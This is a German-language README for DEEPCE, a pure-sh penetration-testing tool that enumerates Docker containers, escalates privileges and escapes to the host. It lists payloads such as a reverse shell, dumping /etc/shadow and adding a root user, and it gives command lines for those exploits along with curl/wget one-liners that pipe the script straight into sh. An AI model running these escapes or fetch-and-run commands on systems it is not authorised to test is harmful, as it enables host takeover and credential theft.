deepce

                      ##         .
                ## ## ##        ==
             ## ## ## ##       ===
         /"""""""""""""""""\___/ ===
    ~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ /  ===- ~~~
         \______ X           __/
           \    \         __/
            \____\_______/
          __                        
     ____/ /__  ___  ____  ________ 
    / __  / _ \/ _ \/ __ \/ ___/ _ \   ENUMERATE
   / /_/ /  __/  __/ /_/ / (__/  __/  ESCALATE
   \__,_/\___/\___/ .___/\___/\___/  ESCAPE
                 /_/

Webseite

Docker-Enumeration, Privilegienerweiterung und Container-Escapes (DEEPCE)

Damit DEEPCE mit der maximalen Anzahl von Containern kompatibel ist, ist es in reinem sh ohne Abhängigkeiten geschrieben. Es nutzt, falls verfügbar, zusätzliche Tools wie curl, nmap, nslookup und dig, ist aber größtenteils nicht auf diese für die Enumeration angewiesen.

Keine der Enumerationen sollte die Festplatte berühren, jedoch erzeugen die meisten Exploits neue Container, was Schreibzugriffe auf die Festplatte verursacht, und einige Exploits überschreiben runC, was destruktiv sein kann – also sei vorsichtig!

Im Folgenden findest du eine Liste der Enumerationen, Exploits und Payloads, die DEEPCE verwenden kann. Wenn du Ideen für weitere hast, erstelle bitte ein Issue auf GitHub!

Download

DEEPCE kann mit einem der folgenden Einzeiler auf einem Host oder Container heruntergeladen werden. Tipp: Lade es nach /dev/shm herunter, um die Festplatte nicht zu berühren.

wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh 
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh  

Unterstützung

Wenn dir gefällt, was ich mit Deepce und meinen anderen Projekten mache, kannst du meine Arbeit jetzt direkt unterstützen! Wenn du mir einen Kaffee ☕ kaufst, stillst du nicht nur meinen Koffeinbedarf – du hilfst mir, mehr Zeit in die Entwicklung und Verbesserung dieser Open-Source-Projekte zu investieren. Jeder Kaffee zählt und bringt mehr Innovation in die Welt der Cybersicherheit. Danke für deine Unterstützung – sie bedeutet mir und der Open-Source-Community sehr viel!

Screenshots

Für mehr bitte den docs-Ordner ansehen

Enumerationen

Die folgende Liste zeigt die von DEEPCE durchgeführten Enumerationen.

• Container-ID & Name (per Reverse-DNS)
• Container-IP / DNS-Server
• Docker-Version
• Interessante Mounts
• Passwörter in gängigen Dateien
• Umgebungsvariablen
• Passwort-Hashes
• In Containern gespeicherte sensible Dateien
• Andere Container im selben Netzwerk
• Portscan anderer Container und des Host-Rechners selbst
• Exponierten Docker-Socket finden

Exploits

• Privilegienerweiterung über die Docker-Gruppe
• Ausführung von Host-Befehlen im privilegierten Modus
• Exponierter Docker-Socket

Payloads

Für jeden der obigen Exploits können Payloads definiert werden, um das Host-System anzugreifen. Dazu gehören:

• Reverse-TCP-Shell
• /etc/shadow anzeigen
• Neuen Root-Benutzer hinzufügen
• Benutzerdefinierte Befehle ausführen
• Benutzerdefinierte Payload-Binaries ausführen

Beispiele

# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh 

Exploits

Die folgenden Beispiele zeigen die verschiedenen Arten von Exploits, die ausgeführt werden können, sowie die verfügbaren Payloads.

• Einen privilegierten Container ausnutzen, um auf dem Host-Betriebssystem einen neuen Root-Benutzer anzulegen:

./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce

• Einen beschreibbaren Docker-Socket ausnutzen, um den Inhalt von /etc/shadow anzuzeigen

./deepce.sh --no-enumeration --exploit SOCK --shadow

• Über die Mitgliedschaft in der Docker-Gruppe auf einem Host zu Root gelangen und ein benutzerdefiniertes Payload ausführen

./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"

Erweiterte Nutzung

Es ist möglich, deepce herunterzuladen und auszuführen, ohne die Festplatte zu berühren. Du kannst dann jedoch nicht einfach Argumente setzen (eine direkte Manipulation der Variablen ist mit export möglich).

wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh

Inspiration

Es gibt einige großartige Skripte und Tools zur Container-Enumeration und -Escape-Erkennung, von denen ich mich beim Schreiben inspirieren ließ. Allerdings sah ich die Notwendigkeit, ein reines sh-Skript zu schreiben, um keine go-/ruby-Abhängigkeiten installieren zu müssen oder auf ein statisches Binärprogramm angewiesen zu sein. Außerdem wollte ich weitere Enumerationen durchführen können, um herauszufinden, was der Docker-Container ist, da wir während eines Tests möglicherweise in einem unbekannten Container landen. Die Anzahl der Dinge, die dieses Skript enumerieren kann, ist mir entglitten, denn jedes Mal, wenn ich etwas Neues hinzufügte, fielen mir weitere Dinge ein, die ich ergänzen könnte.

• LinPEAS
• LinEnum
• BotB
• Harpoon

Ressourcen

Entwickler, die nach Docker-Sicherheitstipps suchen https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md

Mitwirken

Ich freue mich über Pull Requests, Issues und Feedback.

• Forke es
• Erstelle deinen Feature-Branch (git checkout -b my-new-feature)
• Comitte deine Änderungen (git commit -am 'Added some feature')
• Pushe den Branch (git push origin my-new-feature)
• Erstelle einen neuen Pull Request